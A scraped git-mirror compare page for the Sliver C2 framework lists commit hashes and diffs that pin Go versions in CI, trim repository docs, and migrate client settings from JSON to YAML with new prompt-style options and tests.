mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
327
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
82d979436b | ||
|
|
d2632e75bd | ||
|
|
a55831fb44 | ||
|
|
39d4edec43 | ||
|
|
bbdb08e7a4 | ||
|
|
39b488bd25 | ||
|
|
e7b8a24534 | ||
|
|
17b9d611f8 | ||
|
|
ed9075d065 | ||
|
|
1f7221933d | ||
|
|
6333e0691a | ||
|
|
3bbaf80510 | ||
|
|
25726d8105 | ||
|
|
67e9a7f37f | ||
|
|
a5b6935da6 | ||
|
|
2e36f45bdf | ||
|
|
3e06a9d5ee | ||
|
|
952b2df49d | ||
|
|
9769f1bb57 | ||
|
|
f5f2c80ad3 | ||
|
|
bb2edf63cf | ||
|
|
cd711afe8a | ||
|
|
f9bbbb34bb | ||
|
|
64b91c56c0 | ||
|
|
a6c7867a26 | ||
|
|
7f25c3bb06 | ||
|
|
153cf29551 | ||
|
|
b85161e797 | ||
|
|
ed906fcffe | ||
|
|
3bbcf5697a | ||
|
|
4a425d2fd6 | ||
|
|
d0f752e118 | ||
|
|
7167621577 | ||
|
|
c3582fc203 | ||
|
|
07c95b203f | ||
|
|
958e44deef | ||
|
|
836395a2d6 | ||
|
|
1a7a1c9b2d | ||
|
|
4ba285796f | ||
|
|
a05dfad100 | ||
|
|
0eb29ad9b8 | ||
|
|
ad8b329f85 | ||
|
|
c6206257b6 | ||
|
|
8bbf06c156 | ||
|
|
4d4eab998f | ||
|
|
c081f17380 | ||
|
|
fafbac3fa6 | ||
|
|
d9c89c81cf | ||
|
|
061221905b | ||
|
|
d0600e2be7 | ||
|
|
26abbe3860 | ||
|
|
55a386ae1c | ||
|
|
2bfdb218ff | ||
|
|
715b84e799 | ||
|
|
faea2ff639 | ||
|
|
1b253f8dec | ||
|
|
eb38724322 | ||
|
|
05dedf4473 | ||
|
|
28c6b82a79 | ||
|
|
1f553496e3 | ||
|
|
cd5db464e0 | ||
|
|
0bf0ac6c7b | ||
|
|
0cf5a47cfd | ||
|
|
8d6759924b | ||
|
|
8d5dbd2050 | ||
|
|
804e149113 | ||
|
|
9ced4cfd50 | ||
|
|
c8be5a5b1b | ||
|
|
b7abf98c95 | ||
|
|
918ac1bb91 | ||
|
|
1e57818312 | ||
|
|
c44c14dd46 | ||
|
|
35f41cd62d | ||
|
|
4eff1cc053 | ||
|
|
16981da431 | ||
|
|
3830c76292 | ||
|
|
73de93d6fb | ||
|
|
c7770c2f6e | ||
|
|
21db908ce4 | ||
|
|
b7b0247652 | ||
|
|
3dc7dc03d0 | ||
|
|
229452d7ed | ||
|
|
d29ce9a08b | ||
|
|
46f2b2b402 | ||
|
|
6ee2006387 | ||
|
|
2fd13ee2bc | ||
|
|
2697568336 | ||
|
|
5013048b0b | ||
|
|
627b15572c | ||
|
|
42c40c9b8d | ||
|
|
405b282fed | ||
|
|
e32cd36e01 | ||
|
|
492a2aeed6 | ||
|
|
d6dafb0391 | ||
|
|
49a1bcfd7d | ||
|
|
a8d1bf6fb1 | ||
|
|
2f386b7e09 | ||
|
|
d7dce58397 | ||
|
|
15114138a8 | ||
|
|
2716090410 | ||
|
|
a805161245 | ||
|
|
afd57891cd | ||
|
|
bdf4a6ed0d | ||
|
|
87b1efaa5f | ||
|
|
009e505a54 | ||
|
|
c0dd2d5b51 | ||
|
|
6dab9dc6c5 | ||
|
|
854249fa25 | ||
|
|
7db573a03e | ||
|
|
0bef5491dc | ||
|
|
1c50e5a87b | ||
|
|
8dae2d0d52 | ||
|
|
023776f7e3 | ||
|
|
b7566a3b09 | ||
|
|
b889e2eb6f | ||
|
|
4466ace279 | ||
|
|
2b65089b27 | ||
|
|
87d5fd53a8 | ||
|
|
cf79a2d284 | ||
|
|
6d0276ff67 | ||
|
|
9b001ab88e | ||
|
|
503218f3f4 | ||
|
|
495dce0987 | ||
|
|
a7ff35c229 | ||
|
|
162fc4fb8a | ||
|
|
636ea0a9b2 | ||
|
|
84ed9bc4e7 | ||
|
|
b985d8ff9f | ||
|
|
5a43705e1d | ||
|
|
76af248850 | ||
|
|
8ea7eb4236 | ||
|
|
8f3c3ec1e0 | ||
|
|
8d4bf9c759 | ||
|
|
628757250e | ||
|
|
85094fc695 | ||
|
|
0a88ad77f7 | ||
|
|
4d04f08421 | ||
|
|
4a01971f7d | ||
|
|
977c63dc16 | ||
|
|
2d65d7d6a5 | ||
|
|
4f5ca51cfe | ||
|
|
83208eeab4 | ||
|
|
21674a9f0a | ||
|
|
a18bda14e2 | ||
|
|
37f9670783 | ||
|
|
1745886622 | ||
|
|
bd7361825c | ||
|
|
32af81c132 | ||
|
|
818127349c | ||
|
|
a712bead88 | ||
|
|
aa86a1d12c | ||
|
|
afb58f7155 | ||
|
|
97d5adccd7 | ||
|
|
83cc755388 | ||
|
|
4dc1fe145c | ||
|
|
5e27b23bde | ||
|
|
6011d23a9f | ||
|
|
976d720043 | ||
|
|
86f41e9abc | ||
|
|
8b9fc399fa | ||
|
|
27c75c14e6 | ||
|
|
11d6af8aa0 | ||
|
|
54dc6dcec3 | ||
|
|
c7412d4d5b | ||
|
|
c3817dc175 | ||
|
|
09cedf588e | ||
|
|
66aed89ebd | ||
|
|
16397e7a0f | ||
|
|
5062b483b7 | ||
|
|
b268295c8d | ||
|
|
2b3f23cec9 | ||
|
|
25d242230b | ||
|
|
110658ec39 | ||
|
|
b4345226c1 | ||
|
|
e99999ebb6 | ||
|
|
24795e7cba | ||
|
|
32e3386a3e | ||
|
|
7feea8bef3 | ||
|
|
d182434d54 | ||
|
|
0237af0c6e | ||
|
|
1fa36e46c4 | ||
|
|
4d9bae0778 | ||
|
|
9a9b40e400 | ||
|
|
d784b305ef | ||
|
|
7a224b4757 | ||
|
|
76ae704ce4 | ||
|
|
71cd8fa610 | ||
|
|
e9fdcc1285 | ||
|
|
870c995ae2 | ||
|
|
15d7e7c4d1 | ||
|
|
750cdfce0a | ||
|
|
0f128a22b3 | ||
|
|
3296a8f483 | ||
|
|
b77ade2bb9 | ||
|
|
41dc54d736 | ||
|
|
8a0694cb38 | ||
|
|
52c0618bc3 | ||
|
|
e2e1912628 | ||
|
|
36794f1b07 | ||
|
|
ccd8f75b03 | ||
|
|
dc89afe404 | ||
|
|
9db1f3a967 | ||
|
|
a2ab3aede6 | ||
|
|
c9f4970e4b | ||
|
|
e72fa3dbd0 | ||
|
|
2e93ce5684 | ||
|
|
545fc27d03 | ||
|
|
5bf65aa2b0 | ||
|
|
ebaf07ff1f | ||
|
|
fc95d3e354 | ||
|
|
88dca9337b | ||
|
|
44d9f8d5aa | ||
|
|
f76e9e367d | ||
|
|
69fa4143f6 | ||
|
|
dcbda0c64e | ||
|
|
3db48408af | ||
|
|
828838cddf | ||
|
|
16c1dc21fd | ||
|
|
3c8edb7294 | ||
|
|
2e2206e0ae | ||
|
|
a43648a24a | ||
|
|
f65f98bf65 | ||
|
|
26d14e15ad | ||
|
|
cee2cc76c4 | ||
|
|
daa33b6301 | ||
|
|
ef52973536 | ||
|
|
6a7bd0803a | ||
|
|
6c70c1c1e6 | ||
|
|
ddc222b8a2 | ||
|
|
5506a582ac | ||
|
|
63d872c98b | ||
|
|
ef9f5dde0d | ||
|
|
e35b7fdb97 | ||
|
|
efbbf382eb | ||
|
|
0b8d00900d | ||
|
|
9077596f25 | ||
|
|
0a8104a32e | ||
|
|
15a0ba4c1e | ||
|
|
d452c8a676 | ||
|
|
fb74b491fa | ||
|
|
2af6e11adc | ||
|
|
33c656d082 | ||
|
|
99a44e340f | ||
|
|
de5fa3458b | ||
|
|
a3a98858fd | ||
|
|
d0652f2fd3 | ||
|
|
936f067363 | ||
|
|
041c3c7048 | ||
|
|
b48f74af58 | ||
|
|
6ec8849b20 | ||
|
|
db7cf1ed62 | ||
|
|
16e1e77068 | ||
|
|
1cfa694aa2 | ||
|
|
5898877136 | ||
|
|
a7d8cac565 | ||
|
|
0e73afca47 | ||
|
|
432941d694 | ||
|
|
ac521bf53c | ||
|
|
9720c9f14f | ||
|
|
4a224fdb9c | ||
|
|
671eb4d777 | ||
|
|
16cf816610 | ||
|
|
879f576c6e | ||
|
|
2df78cdbf5 | ||
|
|
a05ffc0ae1 | ||
|
|
6b4b218f09 | ||
|
|
4d0d46afd6 | ||
|
|
f24c057503 | ||
|
|
7e3c1f1549 | ||
|
|
1d4c0ec8a5 | ||
|
|
92dda6aa4f | ||
|
|
9a605dfda6 | ||
|
|
e918885556 | ||
|
|
263702594f | ||
|
|
72b8dfb454 | ||
|
|
aa2383ac24 | ||
|
|
b6f0ea013d | ||
|
|
eb82e18a52 | ||
|
|
40ea51b685 | ||
|
|
1285b44c50 | ||
|
|
cb63a3378f | ||
|
|
4f90bfdcda | ||
|
|
5bb1dcc137 | ||
|
|
57c417c48f | ||
|
|
55fc59f6f5 | ||
|
|
332852d095 | ||
|
|
a903d2f596 | ||
|
|
4a4bb683e3 | ||
|
|
016299c756 | ||
|
|
075caaccda | ||
|
|
729be253d3 | ||
|
|
13bd48182f | ||
|
|
67188dabea | ||
|
|
6e4c38c10e | ||
|
|
00ecb1f4fd | ||
|
|
bac047fedd | ||
|
|
10c16be351 | ||
|
|
d51ea9dbab | ||
|
|
0eb41094de | ||
|
|
a219a97cb4 | ||
|
|
b617bb4cf4 | ||
|
|
613b53430b | ||
|
|
472de54757 | ||
|
|
bdbc3bd7b5 | ||
|
|
87db61bcfb | ||
|
|
095eb2722b | ||
|
|
abbb0da434 | ||
|
|
52f7484a71 | ||
|
|
a79b5fd7b9 | ||
|
|
3e98d2d7a1 | ||
|
|
13bf9d0a01 | ||
|
|
7aae725b88 | ||
|
|
afd01073e4 | ||
|
|
ae0c33f41b | ||
|
|
18da00b449 | ||
|
|
dc736f6095 | ||
|
|
e02d53ce67 | ||
|
|
064cd6a2cc | ||
|
|
b7c336cb76 | ||
|
|
3c46cf2210 | ||
|
|
edcdfb5937 | ||
|
|
f81efdb38c | ||
|
|
db34ded0a1 | ||
|
|
8a7a92a9b9 | ||
|
|
3eda32f9d7 | ||
|
|
c18c193ea7 | ||
|
|
79a8758448 |
No files matched your search
@@ -44,7 +44,7 @@ jobs:
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "^1.25"
|
||||
go-version: "1.25.6"
|
||||
|
||||
- name: Install Minisign
|
||||
run: sudo apt-get update --fix-missing && sudo apt-get -y install minisign
|
||||
|
||||
@@ -19,7 +19,7 @@ jobs:
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "^1.25"
|
||||
go-version: "1.25.6"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v6
|
||||
|
||||
@@ -26,7 +26,7 @@ jobs:
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "^1.25"
|
||||
go-version: "1.25.6"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -48,8 +48,21 @@ jobs:
|
||||
- name: Make Linux (amd64)
|
||||
run: make linux-amd64
|
||||
|
||||
- name: Determine go-tests flags
|
||||
id: go-tests-flags
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
base_sha="${{ github.event.pull_request.base.sha }}"
|
||||
head_sha="${{ github.sha }}"
|
||||
if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
|
||||
echo "args=" >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
|
||||
fi
|
||||
|
||||
- name: Test Linux
|
||||
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
|
||||
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
|
||||
|
||||
|
||||
macos-build-test:
|
||||
@@ -60,7 +73,7 @@ jobs:
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "^1.25"
|
||||
go-version: "1.25.6"
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v6
|
||||
@@ -74,8 +87,21 @@ jobs:
|
||||
- name: Make MacOS (arm64)
|
||||
run: make macos-arm64
|
||||
|
||||
- name: Determine go-tests flags
|
||||
id: go-tests-flags
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
base_sha="${{ github.event.pull_request.base.sha }}"
|
||||
head_sha="${{ github.sha }}"
|
||||
if git diff --name-only "$base_sha" "$head_sha" | grep -qE '^(implant/|server/gogo/|server/generate/)'; then
|
||||
echo "args=" >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "args=--skip-generate" >> "$GITHUB_OUTPUT"
|
||||
fi
|
||||
|
||||
- name: Test MacOS
|
||||
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh
|
||||
run: make clean && make && ./sliver-server unpack --force && ./go-tests.sh ${{ steps.go-tests-flags.outputs.args }}
|
||||
|
||||
clients-build:
|
||||
name: Clients Build
|
||||
@@ -85,7 +111,7 @@ jobs:
|
||||
- name: Go 1.25
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version: "^1.25"
|
||||
go-version: "1.25.6"
|
||||
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
@@ -5,6 +5,7 @@
|
||||
/artifacts
|
||||
/artifacts/**
|
||||
|
||||
*.rc
|
||||
|
||||
/Dockerfile.*
|
||||
/*.sdk.tar.xz
|
||||
|
||||
@@ -1,41 +1,18 @@
|
||||
# Repository Guidelines
|
||||
|
||||
## Project Structure & Module Organization
|
||||
- `client/` holds the CLI client and interactive commands.
|
||||
- `server/` contains the server runtime, C2 logic, configs, and web assets.
|
||||
- `implant/` is the implant runtime and transport implementations.
|
||||
- `protobuf/` stores protobuf definitions and generated Go types.
|
||||
- `util/` is shared helpers (crypto, encoders, minisign, etc.).
|
||||
- `docs/sliver-docs/` is the Next.js documentation site and prebuild scripts.
|
||||
- `vendor/` is the vendored Go dependency tree used by builds.
|
||||
- Build outputs land in the repo root as `sliver-client*` and `sliver-server*`.
|
||||
|
||||
## Build, Test, and Development Commands
|
||||
- `make` builds server + client using vendored modules and runs `go-assets.sh`.
|
||||
- `make client` builds a CGO-free client; `make debug` keeps symbols.
|
||||
- `make pb` regenerates protobuf stubs from `protobuf/`.
|
||||
- `./go-tests.sh` runs the curated Go test suite with build tags.
|
||||
- Docs site: `cd docs/sliver-docs && npm install && npm run dev` for local dev; `npm run build` for a static build.
|
||||
- Go toolchain: the Makefile enforces Go >= 1.24.
|
||||
|
||||
## Coding Style & Naming Conventions
|
||||
- Run `gofmt` on all Go code; keep package names lowercase and idiomatic.
|
||||
- Avoid `CGO` and empty interfaces; prefer explicit types and interfaces.
|
||||
- Do not import `server` packages from `client`.
|
||||
- If `math/rand` is required, import it as `insecureRand` and avoid security use.
|
||||
|
||||
## Testing Guidelines
|
||||
- Go tests follow standard `_test.go` naming within each package.
|
||||
- Prefer `docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .`
|
||||
- Add or update tests when behavior changes; some server packages run longer tests.
|
||||
|
||||
## Commit & Pull Request Guidelines
|
||||
- Commits must be signed for PRs to `master`; work in a feature branch.
|
||||
- Commit subjects are short and imperative (e.g., "Fix ...", "Add ...", "Update ...", "Bump ...").
|
||||
- Changes to `vendor/` should be in a distinct commit.
|
||||
- PRs should link the tracking issue, note tests run, and confirm `gofmt` plus unit tests as applicable.
|
||||
|
||||
## Security Notes
|
||||
- Default to secure configuration; fail closed rather than open.
|
||||
- Avoid insecure algorithms (MD5/SHA1/AES-ECB); prefer AES-GCM and modern curves.
|
||||
- Treat user input as untrusted: canonicalize paths and use restrictive file permissions.
|
||||
@@ -26,14 +26,17 @@ K := $(foreach exec,$(EXECUTABLES),\
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 24
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 25
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
SLIVER_PUBLIC_KEY ?= RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
|
||||
ARMORY_PUBLIC_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
|
||||
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
SLIVER_UPDATE_PKG = github.com/bishopfox/sliver/client/command/update
|
||||
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-X $(SLIVER_UPDATE_PKG).SliverPublicKey=$(SLIVER_PUBLIC_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
|
||||
@@ -6,6 +6,8 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
|
||||
|
||||
[](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
|
||||
Visit [https://sliver.sh/](https://sliver.sh/) for tutorials and documentation.
|
||||
|
||||
### Features
|
||||
|
||||
- Dynamic code generation
|
||||
@@ -39,11 +41,6 @@ Please checkout the [wiki](https://sliver.sh/), or start a [GitHub discussion](h
|
||||
|
||||
See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
|
||||
|
||||
### Feedback
|
||||
|
||||
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6).
|
||||
|
||||
### License - GPLv3
|
||||
|
||||
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
|
||||
|
||||
+12
-6
@@ -34,12 +34,19 @@ const (
|
||||
SliverClientDirName = ".sliver-client"
|
||||
|
||||
versionFileName = "version"
|
||||
envVarName = "SLIVER_CLIENT_ROOT_DIR"
|
||||
)
|
||||
|
||||
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
|
||||
func GetRootAppDir() string {
|
||||
user, _ := user.Current()
|
||||
dir := filepath.Join(user.HomeDir, SliverClientDirName)
|
||||
value := os.Getenv(envVarName)
|
||||
var dir string
|
||||
if len(value) == 0 {
|
||||
user, _ := user.Current()
|
||||
dir = filepath.Join(user.HomeDir, SliverClientDirName)
|
||||
} else {
|
||||
dir = value
|
||||
}
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
@@ -108,7 +115,7 @@ func Setup(force bool, echo bool) {
|
||||
if force || localVer == "" || localVer != ver.GitCommit {
|
||||
if echo {
|
||||
fmt.Printf(`
|
||||
Sliver Copyright (C) 2025 Bishop Fox
|
||||
Sliver Copyright (C) 2026 Bishop Fox
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type 'licenses' for details.`)
|
||||
@@ -116,7 +123,6 @@ under certain conditions; type 'licenses' for details.`)
|
||||
}
|
||||
saveAssetVersion(appDir)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
|
||||
SaveSettings(nil)
|
||||
}
|
||||
_, _ = LoadSettings()
|
||||
_, _ = LoadSpoofMetadataConfig()
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
package assets
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func legacyBackupPath(legacyPath string) string {
|
||||
dir := filepath.Dir(legacyPath)
|
||||
base := filepath.Base(legacyPath)
|
||||
name := strings.TrimSuffix(base, filepath.Ext(base))
|
||||
return filepath.Join(dir, "."+name+".json-old")
|
||||
}
|
||||
|
||||
func renameLegacyConfig(legacyPath string) error {
|
||||
if _, err := os.Stat(legacyPath); os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
backupPath := legacyBackupPath(legacyPath)
|
||||
if _, err := os.Stat(backupPath); err == nil {
|
||||
if err := os.Remove(backupPath); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return os.Rename(legacyPath, backupPath)
|
||||
}
|
||||
+92
-16
@@ -22,39 +22,111 @@ import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
const (
|
||||
settingsFileName = "tui-settings.json"
|
||||
settingsFileName = "tui-settings.yaml"
|
||||
settingsLegacyFileName = "tui-settings.json"
|
||||
)
|
||||
|
||||
const (
|
||||
// Accepted values for tui-settings.yaml "prompt:":
|
||||
// - host: show "[host]" prefix on sliver-client, "[server]" on server console
|
||||
// - operator-host: show "[operator@host]" prefix on sliver-client, "[server]" on server console
|
||||
// - basic: show "sliver >" (no prefix)
|
||||
// - custom: render full prompt from prompt_template
|
||||
PromptStyleHost = "host"
|
||||
PromptStyleOperatorHost = "operator-host"
|
||||
PromptStyleBasic = "basic"
|
||||
PromptStyleCustom = "custom"
|
||||
)
|
||||
|
||||
// ClientSettings - Client JSON config
|
||||
type ClientSettings struct {
|
||||
TableStyle string `json:"tables"`
|
||||
AutoAdult bool `json:"autoadult"`
|
||||
BeaconAutoResults bool `json:"beacon_autoresults"`
|
||||
SmallTermWidth int `json:"small_term_width"`
|
||||
AlwaysOverflow bool `json:"always_overflow"`
|
||||
VimMode bool `json:"vim_mode"`
|
||||
UserConnect bool `json:"user_connect"`
|
||||
ConsoleLogs bool `json:"console_logs"`
|
||||
TableStyle string `json:"tables" yaml:"tables"`
|
||||
AutoAdult bool `json:"autoadult" yaml:"autoadult"`
|
||||
BeaconAutoResults bool `json:"beacon_autoresults" yaml:"beacon_autoresults"`
|
||||
SmallTermWidth int `json:"small_term_width" yaml:"small_term_width"`
|
||||
AlwaysOverflow bool `json:"always_overflow" yaml:"always_overflow"`
|
||||
VimMode bool `json:"vim_mode" yaml:"vim_mode"`
|
||||
UserConnect bool `json:"user_connect" yaml:"user_connect"`
|
||||
ConsoleLogs bool `json:"console_logs" yaml:"console_logs"`
|
||||
PromptStyle string `json:"prompt" yaml:"prompt"`
|
||||
PromptTemplate string `json:"prompt_template" yaml:"prompt_template"`
|
||||
}
|
||||
|
||||
// LoadSettings - Load the client settings from disk
|
||||
func LoadSettings() (*ClientSettings, error) {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
data, err := os.ReadFile(filepath.Join(rootDir, settingsFileName))
|
||||
if err != nil {
|
||||
settingsPath := filepath.Join(rootDir, settingsFileName)
|
||||
legacyPath := filepath.Join(rootDir, settingsLegacyFileName)
|
||||
settings := defaultSettings()
|
||||
migratedLegacy := false
|
||||
|
||||
data, err := os.ReadFile(settingsPath)
|
||||
if err == nil {
|
||||
if err = yaml.Unmarshal(data, settings); err != nil {
|
||||
return defaultSettings(), err
|
||||
}
|
||||
} else if !os.IsNotExist(err) {
|
||||
return defaultSettings(), err
|
||||
} else if data, err = os.ReadFile(legacyPath); err == nil {
|
||||
if err = json.Unmarshal(data, settings); err != nil {
|
||||
return defaultSettings(), err
|
||||
}
|
||||
migratedLegacy = true
|
||||
} else if !os.IsNotExist(err) {
|
||||
return defaultSettings(), err
|
||||
}
|
||||
settings := defaultSettings()
|
||||
err = json.Unmarshal(data, settings)
|
||||
if err != nil {
|
||||
return defaultSettings(), err
|
||||
|
||||
// Ensure any missing/unknown values are coerced to a supported prompt style.
|
||||
settings.PromptStyle = NormalizePromptStyle(settings.PromptStyle)
|
||||
if err := SaveSettings(settings); err != nil {
|
||||
return settings, err
|
||||
}
|
||||
if migratedLegacy {
|
||||
if err := renameLegacyConfig(legacyPath); err != nil {
|
||||
return settings, err
|
||||
}
|
||||
}
|
||||
return settings, nil
|
||||
}
|
||||
|
||||
// NormalizePromptStyle canonicalizes prompt style strings and returns a safe
|
||||
// default if the value is empty/unknown.
|
||||
func NormalizePromptStyle(v string) string {
|
||||
switch strings.ToLower(strings.TrimSpace(v)) {
|
||||
case PromptStyleOperatorHost:
|
||||
return PromptStyleOperatorHost
|
||||
case PromptStyleHost:
|
||||
return PromptStyleHost
|
||||
case PromptStyleBasic:
|
||||
return PromptStyleBasic
|
||||
case PromptStyleCustom:
|
||||
return PromptStyleCustom
|
||||
|
||||
// Backward compatible aliases.
|
||||
case "show host":
|
||||
return PromptStyleHost
|
||||
case "show user and host":
|
||||
return PromptStyleOperatorHost
|
||||
case "show operator and host":
|
||||
return PromptStyleOperatorHost
|
||||
case "operator@host":
|
||||
return PromptStyleOperatorHost
|
||||
case "user@host":
|
||||
return PromptStyleOperatorHost
|
||||
|
||||
case "":
|
||||
return PromptStyleHost
|
||||
default:
|
||||
return PromptStyleHost
|
||||
}
|
||||
}
|
||||
|
||||
func defaultSettings() *ClientSettings {
|
||||
return &ClientSettings{
|
||||
TableStyle: "SliverDefault",
|
||||
@@ -64,16 +136,20 @@ func defaultSettings() *ClientSettings {
|
||||
AlwaysOverflow: false,
|
||||
VimMode: false,
|
||||
ConsoleLogs: true,
|
||||
PromptStyle: PromptStyleHost,
|
||||
PromptTemplate: DefaultPromptTemplate,
|
||||
}
|
||||
}
|
||||
|
||||
const DefaultPromptTemplate = `{{- if .IsServer -}}{{ .Styles.Bold.Render "[server]" }} {{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} > {{- else -}}{{- if .Host -}}{{ .Styles.BoldPrimary.Render (printf "[%s]" .Host) }} {{- end -}}{{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} > {{- end -}}`
|
||||
|
||||
// SaveSettings - Save the current settings to disk
|
||||
func SaveSettings(settings *ClientSettings) error {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
if settings == nil {
|
||||
settings = defaultSettings()
|
||||
}
|
||||
data, err := json.MarshalIndent(settings, "", " ")
|
||||
data, err := yaml.Marshal(settings)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -0,0 +1,137 @@
|
||||
package assets
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestLoadSettingsParsesYAML(t *testing.T) {
|
||||
t.Setenv(envVarName, t.TempDir())
|
||||
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
settingsPath := filepath.Join(rootDir, settingsFileName)
|
||||
|
||||
data := []byte(`tables: "Compact"
|
||||
autoadult: true
|
||||
beacon_autoresults: false
|
||||
small_term_width: 120
|
||||
always_overflow: true
|
||||
vim_mode: true
|
||||
user_connect: true
|
||||
console_logs: false
|
||||
prompt: "basic"
|
||||
prompt_template: "{{.Host}}"
|
||||
`)
|
||||
if err := os.WriteFile(settingsPath, data, 0o600); err != nil {
|
||||
t.Fatalf("failed to write yaml settings: %v", err)
|
||||
}
|
||||
|
||||
settings, err := LoadSettings()
|
||||
if err != nil {
|
||||
t.Fatalf("expected no error, got %v", err)
|
||||
}
|
||||
if settings.TableStyle != "Compact" {
|
||||
t.Fatalf("expected TableStyle %q, got %q", "Compact", settings.TableStyle)
|
||||
}
|
||||
if !settings.AutoAdult {
|
||||
t.Fatalf("expected AutoAdult true")
|
||||
}
|
||||
if settings.BeaconAutoResults {
|
||||
t.Fatalf("expected BeaconAutoResults false")
|
||||
}
|
||||
if settings.SmallTermWidth != 120 {
|
||||
t.Fatalf("expected SmallTermWidth %d, got %d", 120, settings.SmallTermWidth)
|
||||
}
|
||||
if !settings.AlwaysOverflow {
|
||||
t.Fatalf("expected AlwaysOverflow true")
|
||||
}
|
||||
if !settings.VimMode {
|
||||
t.Fatalf("expected VimMode true")
|
||||
}
|
||||
if !settings.UserConnect {
|
||||
t.Fatalf("expected UserConnect true")
|
||||
}
|
||||
if settings.ConsoleLogs {
|
||||
t.Fatalf("expected ConsoleLogs false")
|
||||
}
|
||||
if settings.PromptStyle != PromptStyleBasic {
|
||||
t.Fatalf("expected PromptStyle %q, got %q", PromptStyleBasic, settings.PromptStyle)
|
||||
}
|
||||
if settings.PromptTemplate != "{{.Host}}" {
|
||||
t.Fatalf("expected PromptTemplate %q, got %q", "{{.Host}}", settings.PromptTemplate)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadSettingsMigratesLegacyJSON(t *testing.T) {
|
||||
t.Setenv(envVarName, t.TempDir())
|
||||
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
legacyPath := filepath.Join(rootDir, settingsLegacyFileName)
|
||||
|
||||
legacy := &ClientSettings{
|
||||
TableStyle: "Legacy",
|
||||
AutoAdult: true,
|
||||
BeaconAutoResults: false,
|
||||
SmallTermWidth: 200,
|
||||
AlwaysOverflow: true,
|
||||
VimMode: true,
|
||||
UserConnect: true,
|
||||
ConsoleLogs: false,
|
||||
